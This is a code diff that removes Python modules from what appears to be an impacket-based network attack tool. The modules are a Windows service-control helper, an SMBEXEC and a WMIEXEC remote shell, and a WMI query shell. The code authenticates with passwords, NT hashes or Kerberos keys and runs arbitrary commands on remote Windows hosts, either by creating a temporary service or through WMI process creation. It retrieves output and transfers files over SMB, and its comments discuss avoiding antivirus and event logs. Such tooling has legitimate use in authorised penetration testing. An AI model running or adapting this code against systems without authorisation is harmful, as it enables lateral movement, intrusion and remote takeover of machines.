|
||||
scManagerHandle = ans['lpScHandle']
|
||||
if self.__action != 'LIST' and self.__action != 'CREATE':
|
||||
ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.service_name+'\x00')
|
||||
serviceHandle = ans['lpServiceHandle']
|
||||
|
||||
if self.__action == 'START':
|
||||
self.__logger.success("Starting service {}".format(self.__options.service_name))
|
||||
scmr.hRStartServiceW(rpc, serviceHandle)
|
||||
scmr.hRCloseServiceHandle(rpc, serviceHandle)
|
||||
elif self.__action == 'STOP':
|
||||
self.__logger.success("Stopping service {}".format(self.__options.service_name))
|
||||
scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||||
scmr.hRCloseServiceHandle(rpc, serviceHandle)
|
||||
elif self.__action == 'DELETE':
|
||||
self.__logger.success("Deleting service {}".format(self.__options.service_name))
|
||||
scmr.hRDeleteService(rpc, serviceHandle)
|
||||
scmr.hRCloseServiceHandle(rpc, serviceHandle)
|
||||
elif self.__action == 'CONFIG':
|
||||
self.__logger.success("Service config for {}".format(self.__options.service_name))
|
||||
resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
|
||||
output = "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType']
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x1:
|
||||
output += "SERVICE_KERNEL_DRIVER "
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x2:
|
||||
output += "SERVICE_FILE_SYSTEM_DRIVER "
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x10:
|
||||
output += "SERVICE_WIN32_OWN_PROCESS "
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x20:
|
||||
output += "SERVICE_WIN32_SHARE_PROCESS "
|
||||
if resp['lpServiceConfig']['dwServiceType'] & 0x100:
|
||||
output += "SERVICE_INTERACTIVE_PROCESS "
|
||||
self.__logger.results(output)
|
||||
|
||||
output = "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType']
|
||||
if resp['lpServiceConfig']['dwStartType'] == 0x0:
|
||||
output += "BOOT START"
|
||||
elif resp['lpServiceConfig']['dwStartType'] == 0x1:
|
||||
output += "SYSTEM START"
|
||||
elif resp['lpServiceConfig']['dwStartType'] == 0x2:
|
||||
output += "AUTO START"
|
||||
elif resp['lpServiceConfig']['dwStartType'] == 0x3:
|
||||
output += "DEMAND START"
|
||||
elif resp['lpServiceConfig']['dwStartType'] == 0x4:
|
||||
output += "DISABLED"
|
||||
else:
|
||||
output += "UNKOWN"
|
||||
self.logger.results(output)
|
||||
|
||||
output = "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl']
|
||||
if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
|
||||
output += "IGNORE"
|
||||
elif resp['lpServiceConfig']['dwErrorControl'] == 0x1:
|
||||
output += "NORMAL"
|
||||
elif resp['lpServiceConfig']['dwErrorControl'] == 0x2:
|
||||
output += "SEVERE"
|
||||
elif resp['lpServiceConfig']['dwErrorControl'] == 0x3:
|
||||
output += "CRITICAL"
|
||||
else:
|
||||
output += "UNKOWN"
|
||||
self.__logger.results(output)
|
||||
|
||||
self.__logger.results("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1])
|
||||
self.__logger.results("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1])
|
||||
self.__logger.results("TAG : %d" % resp['lpServiceConfig']['dwTagId'])
|
||||
self.__logger.results("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1])
|
||||
self.__logger.results("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1])
|
||||
self.__logger.results("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1])
|
||||
elif self.__action == 'STATUS':
|
||||
self.__logger.success("Service status for {}".format(self.__options.service_name))
|
||||
resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
|
||||
output = "%s - " % self.__options.service_name
|
||||
state = resp['lpServiceStatus']['dwCurrentState']
|
||||
if state == scmr.SERVICE_CONTINUE_PENDING:
|
||||
output += "CONTINUE PENDING"
|
||||
elif state == scmr.SERVICE_PAUSE_PENDING:
|
||||
output += "PAUSE PENDING"
|
||||
elif state == scmr.SERVICE_PAUSED:
|
||||
output += "PAUSED"
|
||||
elif state == scmr.SERVICE_RUNNING:
|
||||
output += "RUNNING"
|
||||
elif state == scmr.SERVICE_START_PENDING:
|
||||
output += "START PENDING"
|
||||
elif state == scmr.SERVICE_STOP_PENDING:
|
||||
output += "STOP PENDING"
|
||||
elif state == scmr.SERVICE_STOPPED:
|
||||
output += "STOPPED"
|
||||
else:
|
||||
output += "UNKOWN"
|
||||
self.__logger.results(output)
|
||||
elif self.__action == 'LIST':
|
||||
self.__logger.success("Enumerating services")
|
||||
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
|
||||
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
|
||||
#resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
|
||||
resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle)
|
||||
for i in range(len(resp)):
|
||||
output = "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1])
|
||||
state = resp[i]['ServiceStatus']['dwCurrentState']
|
||||
if state == scmr.SERVICE_CONTINUE_PENDING:
|
||||
output += "CONTINUE PENDING"
|
||||
elif state == scmr.SERVICE_PAUSE_PENDING:
|
||||
output += "PAUSE PENDING"
|
||||
elif state == scmr.SERVICE_PAUSED:
|
||||
output += "PAUSED"
|
||||
elif state == scmr.SERVICE_RUNNING:
|
||||
output += "RUNNING"
|
||||
elif state == scmr.SERVICE_START_PENDING:
|
||||
output += "START PENDING"
|
||||
elif state == scmr.SERVICE_STOP_PENDING:
|
||||
output += "STOP PENDING"
|
||||
elif state == scmr.SERVICE_STOPPED:
|
||||
output += "STOPPED"
|
||||
else:
|
||||
output += "UNKOWN"
|
||||
self.__logger.results(output)
|
||||
self.__logger.results("Total Services: {}".format(len(resp)))
|
||||
elif self.__action == 'CREATE':
|
||||
self.__logger.success("Creating service {}".format(self.__options.service_name))
|
||||
scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.service_name + '\x00', self.__options.service_display_name + '\x00', lpBinaryPathName=self.__options.service_bin_path + '\x00')
|
||||
elif self.__action == 'CHANGE':
|
||||
self.__logger.success("Changing service config for {}".format(self.__options.service_name))
|
||||
if self.__options.start_type is not None:
|
||||
start_type = int(self.__options.start_type)
|
||||
else:
|
||||
start_type = scmr.SERVICE_NO_CHANGE
|
||||
if self.__options.service_type is not None:
|
||||
service_type = int(self.__options.service_type)
|
||||
else:
|
||||
service_type = scmr.SERVICE_NO_CHANGE
|
||||
|
||||
if self.__options.service_display_name is not None:
|
||||
display = self.__options.service_display_name + '\x00'
|
||||
else:
|
||||
display = NULL
|
||||
|
||||
if self.__options.service_bin_path is not None:
|
||||
path = self.__options.service_bin_path + '\x00'
|
||||
else:
|
||||
path = NULL
|
||||
|
||||
if self.__options.start_name is not None:
|
||||
start_name = self.__options.start_name + '\x00'
|
||||
else:
|
||||
start_name = NULL
|
||||
|
||||
if self.__options.start_pass is not None:
|
||||
s = rpctransport.get_smb_connection()
|
||||
key = s.getSessionKey()
|
||||
try:
|
||||
password = (self.__options.start_pass+'\x00').encode('utf-16le')
|
||||
except UnicodeDecodeError:
|
||||
import sys
|
||||
password = (self.__options.start_pass+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le')
|
||||
password = encryptSecret(key, password)
|
||||
else:
|
||||
password = NULL
|
||||
|
||||
|
||||
#resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password)
|
||||
scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, 0, start_name, password, 0, display)
|
||||
scmr.hRCloseServiceHandle(rpc, serviceHandle)
|
||||
else:
|
||||
logging.error("Unknown action %s" % self.__action)
|
||||
|
||||
scmr.hRCloseServiceHandle(rpc, scManagerHandle)
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
return
|
|
@ -1,244 +0,0 @@
|
|||
#!/usr/bin/python
|
||||
# Copyright (c) 2003-2015 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# A similar approach to psexec w/o using RemComSvc. The technique is described here
|
||||
# http://www.accuvant.com/blog/owning-computers-without-shell-access
|
||||
# Our implementation goes one step further, instantiating a local smbserver to receive the
|
||||
# output of the commands. This is useful in the situation where the target machine does NOT
|
||||
# have a writeable share available.
|
||||
# Keep in mind that, although this technique might help avoiding AVs, there are a lot of
|
||||
# event logs generated and you can't expect executing tasks that will last long since Windows
|
||||
# will kill the process since it's not responding as a Windows service.
|
||||
# Certainly not a stealthy way.
|
||||
#
|
||||
# This script works in two ways:
|
||||
# 1) share mode: you specify a share, and everything is done through that share.
|
||||
# 2) server mode: if for any reason there's no share available, this script will launch a local
|
||||
# SMB server, so the output of the commands executed are sent back by the target machine
|
||||
# into a locally shared folder. Keep in mind you would need root access to bind to port 445
|
||||
# in the local machine.
|
||||
#
|
||||
# Author:
|
||||
# beto (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCE/RPC and SMB.
|
||||
|
||||
import sys
|
||||
import os
|
||||
import cmd
|
||||
import logging
|
||||
import random
|
||||
import string
|
||||
|
||||
from core.servers.smbserver import SMBServer
|
||||
from impacket import version
|
||||
from impacket.smbconnection import *
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from StringIO import StringIO
|
||||
|
||||
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
|
||||
BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
|
||||
|
||||
class SMBEXEC:
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
}
|
||||
|
||||
def __init__(self, logger, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False):
|
||||
|
||||
if not protocols:
|
||||
protocols = SMBEXEC.KNOWN_PROTOCOLS.keys()
|
||||
|
||||
self.__logger = logger
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__command = command
|
||||
self.__protocols = [protocols]
|
||||
self.__serviceName = ''.join(random.sample(string.ascii_letters, 6))
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__noOutput = noOutput
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.shell = None
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
if password is None:
|
||||
self.__password = ''
|
||||
|
||||
def run(self, addr):
|
||||
for protocol in self.__protocols:
|
||||
protodef = SMBEXEC.KNOWN_PROTOCOLS[protocol]
|
||||
port = protodef[1]
|
||||
|
||||
logging.info("Trying protocol %s..." % protocol)
|
||||
logging.info("Creating service %s..." % self.__serviceName)
|
||||
|
||||
stringbinding = protodef[0] % addr
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(port)
|
||||
|
||||
if hasattr(rpctransport,'preferred_dialect'):
|
||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||
rpctransport.set_kerberos(self.__doKerberos)
|
||||
|
||||
self.shell = None
|
||||
try:
|
||||
if self.__mode == 'SERVER':
|
||||
serverThread = SMBServer()
|
||||
serverThread.start()
|
||||
self.shell = RemoteShell(self.__logger, self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput)
|
||||
self.shell.onecmd(self.__command)
|
||||
self.shell.finish()
|
||||
if self.__mode == 'SERVER':
|
||||
serverThread.stop()
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
logging.critical(str(e))
|
||||
if self.shell is not None:
|
||||
self.shell.finish()
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, logger, share, rpc, mode, serviceName, noOutput):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__logger = logger
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
|
||||
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
|
||||
self.__outputBuffer = ''
|
||||
self.__command = ''
|
||||
self.__shell = '%COMSPEC% /Q /c '
|
||||
self.__serviceName = serviceName
|
||||
self.__noOutput = noOutput
|
||||
self.__rpc = rpc
|
||||
self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
|
||||
|
||||
self.__scmr = rpc.get_dce_rpc()
|
||||
try:
|
||||
self.__scmr.connect()
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
sys.exit(1)
|
||||
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
|
||||
if self.__noOutput is False:
|
||||
s = rpc.get_smb_connection()
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
s.setTimeout(100000)
|
||||
self.transferClient = rpc.get_smb_connection()
|
||||
if mode == 'SERVER':
|
||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||
else:
|
||||
logging.info('Output retrieval disabled')
|
||||
|
||||
#self.do_cd('')
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
try:
|
||||
self.__scmr = self.__rpc.get_dce_rpc()
|
||||
self.__scmr.connect()
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
|
||||
service = resp['lpServiceHandle']
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
except:
|
||||
pass
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_exit(self, s):
|
||||
return True
|
||||
|
||||
def emptyline(self):
|
||||
return False
|
||||
|
||||
def do_cd(self, s):
|
||||
# We just can't CD or mantain track of the target dir.
|
||||
if len(s) > 0:
|
||||
logging.error("You can't CD under SMBEXEC. Use full paths.")
|
||||
|
||||
self.execute_remote('cd ' )
|
||||
if len(self.__outputBuffer) > 0:
|
||||
# Stripping CR/LF
|
||||
self.prompt = string.replace(self.__outputBuffer,'\r\n','') + '>'
|
||||
self.__outputBuffer = ''
|
||||
|
||||
def do_CD(self, s):
|
||||
return self.do_cd(s)
|
||||
|
||||
def default(self, line):
|
||||
if line != '':
|
||||
self.send_data(line)
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__noOutput is True:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
if self.__mode == 'SHARE':
|
||||
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
self.transferClient.deleteFile(self.__share, self.__output)
|
||||
else:
|
||||
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
|
||||
output_callback(fd.read())
|
||||
fd.close()
|
||||
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
|
||||
|
||||
def execute_remote(self, data):
|
||||
if self.__noOutput is False:
|
||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
if self.__mode == 'SERVER':
|
||||
command += ' & ' + self.__copyBack
|
||||
else:
|
||||
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
|
||||
command += ' & ' + 'del ' + self.__batchFile
|
||||
|
||||
logging.info('Command in batch file: {}'.format(command))
|
||||
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
||||
service = resp['lpServiceHandle']
|
||||
|
||||
try:
|
||||
scmr.hRStartServiceW(self.__scmr, service)
|
||||
except:
|
||||
pass
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
|
||||
self.__logger.success("Executed command via SMBEXEC")
|
||||
if self.__noOutput is False:
|
||||
buf = StringIO(self.__outputBuffer.strip()).readlines()
|
||||
for line in buf:
|
||||
self.__logger.results(line.strip())
|
||||
self.__outputBuffer = ''
|
|
@ -1,238 +0,0 @@
|
|||
#!/usr/bin/python
|
||||
# Copyright (c) 2003-2015 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# A similar approach to smbexec but executing commands through WMI.
|
||||
# Main advantage here is it runs under the user (has to be Admin)
|
||||
# account, not SYSTEM, plus, it doesn't generate noisy messages
|
||||
# in the event log that smbexec.py does when creating a service.
|
||||
# Drawback is it needs DCOM, hence, I have to be able to access
|
||||
# DCOM ports at the target machine.
|
||||
#
|
||||
# Author:
|
||||
# beto (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCOM
|
||||
#
|
||||
|
||||
import sys
|
||||
import os
|
||||
import cmd
|
||||
import logging
|
||||
import string
|
||||
import random
|
||||
import ntpath
|
||||
import core.settings as settings
|
||||
|
||||
from gevent import sleep
|
||||
from impacket import version
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from StringIO import StringIO
|
||||
|
||||
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, logger, command = '', username = '', password = '', domain = '', hashes = None, aesKey = None, share = None, noOutput=False, doKerberos=False):
|
||||
self.__logger = logger
|
||||
self.__command = command
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__share = share
|
||||
self.__noOutput = noOutput
|
||||
self.__doKerberos = doKerberos
|
||||
self.shell = None
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
if password is None:
|
||||
self.__password = ''
|
||||
|
||||
def run(self, addr, smb):
|
||||
if self.__noOutput is False:
|
||||
smbConnection = smb
|
||||
else:
|
||||
logging.info('Output retrieval disabled')
|
||||
smbConnection = None
|
||||
|
||||
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
win32Process,_ = iWbemServices.GetObject('Win32_Process')
|
||||
|
||||
try:
|
||||
self.shell = RemoteShell(self.__logger, self.__share, win32Process, smbConnection)
|
||||
self.shell.onecmd(self.__command)
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
logging.error(str(e))
|
||||
dcom.disconnect()
|
||||
|
||||
dcom.disconnect()
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, logger, share, win32Process, smbConnection):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__logger = logger
|
||||
self.__share = share
|
||||
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
|
||||
self.__outputBuffer = ''
|
||||
self.__shell = 'cmd.exe /Q /c '
|
||||
self.__win32Process = win32Process
|
||||
self.__transferClient = smbConnection
|
||||
self.__pwd = 'C:\\'
|
||||
self.__noOutput = False
|
||||
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
self.__transferClient.setTimeout(100000)
|
||||
self.do_cd('\\')
|
||||
else:
|
||||
self.__noOutput = True
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_help(self, line):
|
||||
print """
|
||||
lcd {path} - changes the current local directory to {path}
|
||||
exit - terminates the server process (and this session)
|
||||
put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
|
||||
get {file} - downloads pathname to the current local dir
|
||||
! {cmd} - executes a local shell cmd
|
||||
"""
|
||||
|
||||
def do_lcd(self, s):
|
||||
if s == '':
|
||||
print os.getcwd()
|
||||
else:
|
||||
try:
|
||||
os.chdir(s)
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
|
||||
def do_get(self, src_path):
|
||||
try:
|
||||
import ntpath
|
||||
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||
drive, tail = ntpath.splitdrive(newPath)
|
||||
filename = ntpath.basename(tail)
|
||||
fh = open(filename,'wb')
|
||||
logging.info("Downloading %s\\%s" % (drive, tail))
|
||||
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
||||
fh.close()
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
os.remove(filename)
|
||||
pass
|
||||
|
||||
def do_put(self, s):
|
||||
try:
|
||||
params = s.split(' ')
|
||||
if len(params) > 1:
|
||||
src_path = params[0]
|
||||
dst_path = params[1]
|
||||
elif len(params) == 1:
|
||||
src_path = params[0]
|
||||
dst_path = ''
|
||||
|
||||
src_file = os.path.basename(src_path)
|
||||
fh = open(src_path, 'rb')
|
||||
dst_path = string.replace(dst_path, '/','\\')
|
||||
pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file)
|
||||
drive, tail = ntpath.splitdrive(pathname)
|
||||
logging.info("Uploading %s to %s" % (src_file, pathname))
|
||||
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
|
||||
fh.close()
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
pass
|
||||
|
||||
def do_exit(self, s):
|
||||
return True
|
||||
|
||||
def emptyline(self):
|
||||
return False
|
||||
|
||||
def do_cd(self, s):
|
||||
self.execute_remote('cd ' + s)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
print self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = self.__pwd + '>'
|
||||
self.__outputBuffer = ''
|
||||
|
||||
def default(self, line):
|
||||
# Let's try to guess if the user is trying to change drive
|
||||
if len(line) == 2 and line[1] == ':':
|
||||
# Execute the command and see if the drive is valid
|
||||
self.execute_remote(line)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
# Something went wrong
|
||||
print self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
# Drive valid, now we should get the current path
|
||||
self.__pwd = line
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = self.__pwd + '>'
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
if line != '':
|
||||
self.send_data(line)
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__noOutput is True:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
break
|
||||
except Exception, e:
|
||||
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
||||
# Output not finished, let's wait
|
||||
sleep(1)
|
||||
pass
|
||||
else:
|
||||
#print str(e)
|
||||
pass
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + data
|
||||
if self.__noOutput is False:
|
||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
self.__logger.success('Executed command via WMIEXEC')
|
||||
|
||||
if self.__noOutput is False:
|
||||
buf = StringIO(self.__outputBuffer.strip()).readlines()
|
||||
for line in buf:
|
||||
self.__logger.results(u'{}'.format(line.strip()))
|
||||
self.__outputBuffer = ''
|
|
@ -1,136 +0,0 @@
|
|||
#!/usr/bin/python
|
||||
# Copyright (c) 2003-2015 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: [MS-WMI] example. It allows to issue WQL queries and
|
||||
# get description of the objects.
|
||||
#
|
||||
# e.g.: select name from win32_account
|
||||
# e.g.: describe win32_process
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCOM
|
||||
#
|
||||
import sys
|
||||
import os
|
||||
import logging
|
||||
import cmd
|
||||
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
import core.settings as settings
|
||||
|
||||
class WMIQUERY:
|
||||
|
||||
def __init__(self, logger, username, domain, password, hashes = None, doKerberos = False, aesKey = None, oxidResolver = True):
|
||||
self.__logger = logger
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__doKerberos = doKerberos
|
||||
self.__aesKey = aesKey
|
||||
self.__oxidResolver = oxidResolver
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
if self.__password is None:
|
||||
self.__password = ''
|
||||
|
||||
def run(self, command, address, namespace):
|
||||
|
||||
dcom = DCOMConnection(address, self.__username, self.__password, self.__domain,
|
||||
self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos)
|
||||
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
iWbemServices= iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
shell = WMIShell(self.__logger, iWbemServices, address)
|
||||
shell.onecmd(command)
|
||||
|
||||
iWbemServices.RemRelease()
|
||||
dcom.disconnect()
|
||||
|
||||
class WMIShell(cmd.Cmd):
|
||||
def __init__(self, logger, iWbemServices, address):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.logger = logger
|
||||
self.address = address
|
||||
self.iWbemServices = iWbemServices
|
||||
|
||||
def do_help(self, line):
|
||||
print """
|
||||
lcd {path} - changes the current local directory to {path}
|
||||
exit - terminates the server process (and this session)
|
||||
describe {class} - describes class
|
||||
! {cmd} - executes a local shell cmd
|
||||
"""
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_describe(self, sClass):
|
||||
sClass = sClass.strip('\n')
|
||||
if sClass[-1:] == ';':
|
||||
sClass = sClass[:-1]
|
||||
try:
|
||||
iObject, _ = self.iWbemServices.GetObject(sClass)
|
||||
iObject.printInformation()
|
||||
iObject.RemRelease()
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
logging.error(str(e))
|
||||
|
||||
def do_lcd(self, s):
|
||||
if s == '':
|
||||
print os.getcwd()
|
||||
else:
|
||||
os.chdir(s)
|
||||
|
||||
def printReply(self, iEnum):
|
||||
printHeader = True
|
||||
while True:
|
||||
try:
|
||||
pEnum = iEnum.Next(0xffffffff,1)[0]
|
||||
record = pEnum.getProperties()
|
||||
line = []
|
||||
for rec in record:
|
||||
line.append('{}: {}'.format(rec, record[rec]['value']))
|
||||
self.logger.results(' | '.join(line))
